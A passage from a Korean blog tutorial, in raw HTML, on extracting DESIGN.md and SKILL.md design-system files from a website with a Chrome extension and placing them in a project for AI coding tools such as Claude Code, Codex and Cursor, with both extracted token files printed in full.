&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1094&quot; data-origin-height=&quot;1204&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUCFNV/dJMb99TMmCD/vll9y3lTgtkXkQpbiZaIq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUCFNV/dJMb99TMmCD/vll9y3lTgtkXkQpbiZaIq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUCFNV/dJMb99TMmCD/vll9y3lTgtkXkQpbiZaIq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUCFNV%2FdJMb99TMmCD%2Fvll9y3lTgtkXkQpbiZaIq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;510&quot; height=&quot;561&quot; data-origin-width=&quot;1094&quot; data-origin-height=&quot;1204&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 추출한 design.md 원문&lt;/p&gt;
&lt;pre id=&quot;code_1777825907616&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# GodDaeHee Hub

## Mission
Create implementation-ready, token-driven UI guidance for GodDaeHee Hub that is optimized for consistency, accessibility, and fast delivery across content site.

## Brand
- Product/brand: GodDaeHee Hub
- URL: https://goddaehee.co.kr/
- Audience: readers and knowledge seekers
- Product surface: content site

## Style Foundations
- Visual style: structured, tokenized, content-first
- Main font style: `font.family.primary=Noto Sans KR`, `font.family.stack=Noto Sans KR, sans-serif, Arial, Helvetica, sans-serif`, `font.size.base=16px`, `font.weight.base=400`, `font.lineHeight.base=24px`
- Typography scale: `font.size.xs=14px`, `font.size.sm=16px`, `font.size.md=18px`, `font.size.lg=24px`, `font.size.xl=48px`
- Color palette: `color.text.primary=#171717`, `color.text.secondary=lab(35.6337 -1.58697 -10.8425)`, `color.text.tertiary=lab(7.78673 1.82345 -15.0537)`, `color.text.inverse=lab(48.0876 -2.03595 -16.5814)`, `color.surface.base=#000000`, `color.surface.muted=#ffffff`, `color.surface.raised=#6366f1`, `color.surface.strong=#f8fafc`, `color.border.muted=lab(91.7353 -0.998765 -4.76968)`
- Spacing scale: `space.1=4px`, `space.2=6px`, `space.3=8px`, `space.4=10px`, `space.5=12px`, `space.6=16px`, `space.7=20px`, `space.8=24px`
- Radius/shadow/motion tokens: `radius.xs=6px`, `radius.sm=8px`, `radius.md=32px`, `radius.lg=16777200px` | `shadow.1=rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0.1) 0px 1px 3px 0px, rgba(0, 0, 0, 0.1) 0px 1px 2px -1px`, `shadow.2=rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, oklab(0.585387 0.0253055 -0.202469 / 0.25) 0px 10px 15px -3px, oklab(0.585387 0.0253055 -0.202469 / 0.25) 0px 4px 6px -4px`, `shadow.3=rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, oklab(0.585387 0.0253055 -0.202469 / 0.3) 0px 10px 15px -3px, oklab(0.585387 0.0253055 -0.202469 / 0.3) 0px 4px 6px -4px` | `motion.duration.instant=150ms`, `motion.duration.fast=200ms`

## Accessibility
- Target: WCAG 2.2 AA
- Keyboard-first interactions required.
- Focus-visible rules required.
- Contrast constraints required.

## Writing Tone
Concise, confident, implementation-focused.

## Rules: Do
- Use semantic tokens, not raw hex values, in component guidance.
- Every component must define states for default, hover, focus-visible, active, disabled, loading, and error.
- Component behavior should specify responsive and edge-case handling.
- Interactive components must document keyboard, pointer, and touch behavior.
- Accessibility acceptance criteria must be testable in implementation.

## Rules: Don't
- Do not allow low-contrast text or hidden focus indicators.
- Do not introduce one-off spacing or typography exceptions.
- Do not use ambiguous labels or non-descriptive actions.
- Do not ship component guidance without explicit state rules.

## Guideline Authoring Workflow
1. Restate design intent in one sentence.
2. Define foundations and semantic tokens.
3. Define component anatomy, variants, interactions, and state behavior.
4. Add accessibility acceptance criteria with pass/fail checks.
5. Add anti-patterns, migration notes, and edge-case handling.
6. End with a QA checklist.

## Required Output Structure
- Context and goals.
- Design tokens and foundations.
- Component-level rules (anatomy, variants, states, responsive behavior).
- Accessibility requirements and testable acceptance criteria.
- Content and tone standards with examples.
- Anti-patterns and prohibited implementations.
- QA checklist.

## Component Rule Expectations
- Include keyboard, pointer, and touch behavior.
- Include spacing and typography token requirements.
- Include long-content, overflow, and empty-state handling.
- Include known page component density: links (31), buttons (13), cards (12), navigation (3), lists (3), inputs (1).

- Extraction diagnostics: Audience and product surface inference confidence is low; verify generated brand context.

## Quality Gates
- Every non-negotiable rule must use &quot;must&quot;.
- Every recommendation should use &quot;should&quot;.
- Every accessibility rule must be testable in implementation.
- Teams should prefer system consistency over local visual exceptions.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 2. DESIGN.md 또는 SKILL.md 선택하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추출 후 두 가지 출력 모드를 고를 수 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;모드&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;언제 쓰나&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;DESIGN.md&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프로젝트에 디자인 문서로 두고 싶을 때&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;사람이 읽기 좋은 마크다운. AI가 컨텍스트로 통째 읽는 용도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;b&gt;SKILL.md&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude 같은 AI 도구의 스킬로 등록하고 싶을 때&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;YAML frontmatter(name, description)가 붙어 스킬 등록에 바로 쓸 수 있는 형태&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 쓴다면 &lt;b&gt;DESIGN.md&lt;/b&gt;로 시작하는 게 낫다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 범용적이고, Claude Code / Cursor / Codex 어디에나 붙일 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) skills.md 로도 추출 가능하니 확인만 해보자.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1112&quot; data-origin-height=&quot;1218&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/caJtjH/dJMcahqLJYN/pQNiCOmKDmOHjnjtf4yKV1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/caJtjH/dJMcahqLJYN/pQNiCOmKDmOHjnjtf4yKV1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/caJtjH/dJMcahqLJYN/pQNiCOmKDmOHjnjtf4yKV1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcaJtjH%2FdJMcahqLJYN%2FpQNiCOmKDmOHjnjtf4yKV1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;427&quot; height=&quot;468&quot; data-origin-width=&quot;1112&quot; data-origin-height=&quot;1218&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 추출한 skills.md 원문&lt;/p&gt;
&lt;pre id=&quot;code_1777826052322&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;---
name: design-system-goddaehee-hub
description: Creates implementation-ready design-system guidance with tokens, component behavior, and accessibility standards. Use when creating or updating UI rules, component specifications, or design-system documentation.
---

&amp;lt;!-- TYPEUI_SH_MANAGED_START --&amp;gt;

# GodDaeHee Hub

## Mission
Deliver implementation-ready design-system guidance for GodDaeHee Hub that can be applied consistently across content site interfaces.

## Brand
- Product/brand: GodDaeHee Hub
- URL: https://goddaehee.co.kr/
- Audience: readers and knowledge seekers
- Product surface: content site

## Style Foundations
- Visual style: structured, accessible, implementation-first
- Main font style: `font.family.primary=Noto Sans KR`, `font.family.stack=Noto Sans KR, sans-serif, Arial, Helvetica, sans-serif`, `font.size.base=16px`, `font.weight.base=400`, `font.lineHeight.base=24px`
- Typography scale: `font.size.xs=14px`, `font.size.sm=16px`, `font.size.md=18px`, `font.size.lg=24px`, `font.size.xl=48px`
- Color palette: `color.text.primary=#171717`, `color.text.secondary=lab(35.6337 -1.58697 -10.8425)`, `color.text.tertiary=lab(7.78673 1.82345 -15.0537)`, `color.text.inverse=lab(48.0876 -2.03595 -16.5814)`, `color.surface.base=#000000`, `color.surface.muted=#ffffff`, `color.surface.raised=#6366f1`, `color.surface.strong=#f8fafc`, `color.border.muted=lab(91.7353 -0.998765 -4.76968)`
- Spacing scale: `space.1=4px`, `space.2=6px`, `space.3=8px`, `space.4=10px`, `space.5=12px`, `space.6=16px`, `space.7=20px`, `space.8=24px`
- Radius/shadow/motion tokens: `radius.xs=6px`, `radius.sm=8px`, `radius.md=32px`, `radius.lg=16777200px` | `shadow.1=rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0.1) 0px 1px 3px 0px, rgba(0, 0, 0, 0.1) 0px 1px 2px -1px`, `shadow.2=rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, oklab(0.585387 0.0253055 -0.202469 / 0.25) 0px 10px 15px -3px, oklab(0.585387 0.0253055 -0.202469 / 0.25) 0px 4px 6px -4px`, `shadow.3=rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, rgba(0, 0, 0, 0) 0px 0px 0px 0px, oklab(0.585387 0.0253055 -0.202469 / 0.3) 0px 10px 15px -3px, oklab(0.585387 0.0253055 -0.202469 / 0.3) 0px 4px 6px -4px` | `motion.duration.instant=150ms`, `motion.duration.fast=200ms`

## Accessibility
- Target: WCAG 2.2 AA
- Keyboard-first interactions required.
- Focus-visible rules required.
- Contrast constraints required.

## Writing Tone
concise, confident, implementation-focused

## Rules: Do
- Use semantic tokens, not raw hex values in component guidance.
- Every component must define required states: default, hover, focus-visible, active, disabled, loading, error.
- Responsive behavior and edge-case handling should be specified for every component family.
- Accessibility acceptance criteria must be testable in implementation.

## Rules: Don't
- Do not allow low-contrast text or hidden focus indicators.
- Do not introduce one-off spacing or typography exceptions.
- Do not use ambiguous labels or non-descriptive actions.

## Guideline Authoring Workflow
1. Restate design intent in one sentence.
2. Define foundations and tokens.
3. Define component anatomy, variants, and interactions.
4. Add accessibility acceptance criteria.
5. Add anti-patterns and migration notes.
6. End with QA checklist.

## Required Output Structure
- Context and goals
- Design tokens and foundations
- Component-level rules (anatomy, variants, states, responsive behavior)
- Accessibility requirements and testable acceptance criteria
- Content and tone standards with examples
- Anti-patterns and prohibited implementations
- QA checklist

## Component Rule Expectations
- Include keyboard, pointer, and touch behavior.
- Include spacing and typography token requirements.
- Include long-content, overflow, and empty-state handling.

## Quality Gates
- Every non-negotiable rule must use &quot;must&quot;.
- Every recommendation should use &quot;should&quot;.
- Every accessibility rule must be testable in implementation.
- Prefer system consistency over local visual exceptions.

&amp;lt;!-- TYPEUI_SH_MANAGED_END --&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 3. AI 도구에 연결하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Download&lt;/b&gt; 버튼으로 파일을 받아 프로젝트 루트에 놓으면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v0.3.0부터는 팝업 안에 Claude Code / Codex / Cursor용 &lt;b&gt;Quick Install 버튼&lt;/b&gt;이 생겨서 이 단계가 더 빨라졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1094&quot; data-origin-height=&quot;1150&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUOReA/dJMcahxw7Vh/c56TKm8aAq83KRnlnkLCsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUOReA/dJMcahxw7Vh/c56TKm8aAq83KRnlnkLCsk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUOReA/dJMcahxw7Vh/c56TKm8aAq83KRnlnkLCsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUOReA%2FdJMcahxw7Vh%2Fc56TKm8aAq83KRnlnkLCsk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;481&quot; height=&quot;506&quot; data-origin-width=&quot;1094&quot; data-origin-height=&quot;1150&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 원하는 프로젝트 선택&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1732&quot; data-origin-height=&quot;884&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/csDIUO/dJMcahRNJDo/dIToJ3mmQZemnyF7VjqGDK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/csDIUO/dJMcahRNJDo/dIToJ3mmQZemnyF7VjqGDK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/csDIUO/dJMcahRNJDo/dIToJ3mmQZemnyF7VjqGDK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcsDIUO%2FdJMcahRNJDo%2FdIToJ3mmQZemnyF7VjqGDK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1732&quot; height=&quot;884&quot; data-origin-width=&quot;1732&quot; data-origin-height=&quot;884&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - Design.md 파일을 생성해줄 줄 알았는데&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1048&quot; data-origin-height=&quot;242&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bACh1I/dJMcagejZll/sZmYjiUwyE7eAGuB556io0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bACh1I/dJMcagejZll/sZmYjiUwyE7eAGuB556io0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bACh1I/dJMcagejZll/sZmYjiUwyE7eAGuB556io0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbACh1I%2FdJMcagejZll%2FsZmYjiUwyE7eAGuB556io0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1048&quot; height=&quot;242&quot; data-origin-width=&quot;1048&quot; data-origin-height=&quot;242&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - skill을 설치해 주었다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;542&quot; data-origin-height=&quot;234&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cBCuzi/dJMcaarDTIE/t1OKmjnhEbsfstU3oZkNNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cBCuzi/dJMcaarDTIE/t1OKmjnhEbsfstU3oZkNNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cBCuzi/dJMcaarDTIE/t1OKmjnhEbsfstU3oZkNNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcBCuzi%2FdJMcaarDTIE%2Ft1OKmjnhEbsfstU3oZkNNK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;354&quot; height=&quot;153&quot; data-origin-width=&quot;542&quot; data-origin-height=&quot;234&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 차라리 난 DESIGN.md파일로 다운로드 하여 루트 경로에 추가해 보았다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1106&quot; data-origin-height=&quot;1120&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zGZLc/dJMcad2TXgV/ZkTnHJ7LEDeaOwZhDLadi0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zGZLc/dJMcad2TXgV/ZkTnHJ7LEDeaOwZhDLadi0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zGZLc/dJMcad2TXgV/ZkTnHJ7LEDeaOwZhDLadi0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzGZLc%2FdJMcad2TXgV%2FZkTnHJ7LEDeaOwZhDLadi0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;490&quot; height=&quot;496&quot; data-origin-width=&quot;1106&quot; data-origin-height=&quot;1120&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- DESIGN.md파일을 내 프로젝트 경로에 추가&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1074&quot; data-origin-height=&quot;832&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kyViN/dJMcafmbhI9/4Ah7suehCkMn0EdAPyBTGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kyViN/dJMcafmbhI9/4Ah7suehCkMn0EdAPyBTGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kyViN/dJMcafmbhI9/4Ah7suehCkMn0EdAPyBTGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkyViN%2FdJMcafmbhI9%2F4Ah7suehCkMn0EdAPyBTGk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;488&quot; height=&quot;378&quot; data-origin-width=&quot;1074&quot; data-origin-height=&quot;832&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일을 루트에 둔 뒤 AI 도구에 이렇게 지시하면 된다:&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;DESIGN.md 파일을 참고해서 헤더와 버튼 스타일을 맞춰줘&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;참고:&lt;/b&gt; AI 도구가 DESIGN.md를 자동으로 읽는지는 도구와 설정마다 다르다. 자동으로 안 읽힌다면 프롬프트에서 &quot;DESIGN.md 파일 참고해서&quot;라고 명시적으로 언급하는 게 가장 확실하다.&lt;/p&gt;
&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 4 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 시나리오별 활용법&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Claude Code &amp;middot; Codex &amp;middot; Cursor에 물리기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 단순한 사용법은 다운로드한 &lt;code&gt;DESIGN.md&lt;/code&gt;를 프로젝트 루트에 두는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://designmd.app/en/what-is-design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;DESIGN.md 포맷 자체가 프로젝트 파일로 읽히도록 설계&lt;/a&gt;되어 있어, Claude Code/Cursor/Windsurf 같은 도구에서 참조하기 쉽다. 다만 실제로 자동 컨텍스트에 포함되는지는 도구와 설정에 따라 달라질 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Google Stitch에 연결하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;manifest의 description이 직접 Google Stitch를 명시한다. 다만 이 확장이 Stitch에 직접 import되는 연동 흐름까지 보여주지는 않는다. 안전하게 말하면 DesignMD가 만든 &lt;code&gt;DESIGN.md&lt;/code&gt;를 Stitch 중심 워크플로에서 &lt;b&gt;보조 디자인 명세&lt;/b&gt;로 활용할 수 있다는 정도다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;TypeUI 스킬 풀과 결합&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.creative-tim.com/blog/ai-agent/typeui-the-design-layer-for-ai-coding-agents/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Creative Tim 블로그의 워크플로 가이드&lt;/a&gt;에 따르면 TypeUI CLI는 &lt;code&gt;npx typeui.sh pull [slug]&lt;/code&gt; 명령으로 큐레이션된 스킬 파일을 프로젝트에 내려받는다. 이후 AI 에이전트가 자동으로 그 파일을 읽어 디자인 시스템을 적용한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Chrome 확장은 정확히 그 반대 방향이다. 기존 웹사이트에서 스킬 파일을 &lt;b&gt;역방향 추출&lt;/b&gt;한다. 두 도구를 같이 쓰면 &quot;큐레이션된 스타일을 받아 쓰는 풀&quot;과 &quot;내가 좋아하는 사이트에서 추출하는 풀&quot;을 모두 갖게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;시나리오 A: 피그마 없이 일관된 화면 만들기&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2078&quot; data-origin-height=&quot;1122&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/t75Og/dJMcaiJUYRe/EdUwrkGMTLWLqePiUsNUKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/t75Og/dJMcaiJUYRe/EdUwrkGMTLWLqePiUsNUKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/t75Og/dJMcaiJUYRe/EdUwrkGMTLWLqePiUsNUKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ft75Og%2FdJMcaiJUYRe%2FEdUwrkGMTLWLqePiUsNUKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2078&quot; height=&quot;1122&quot; data-origin-width=&quot;2078&quot; 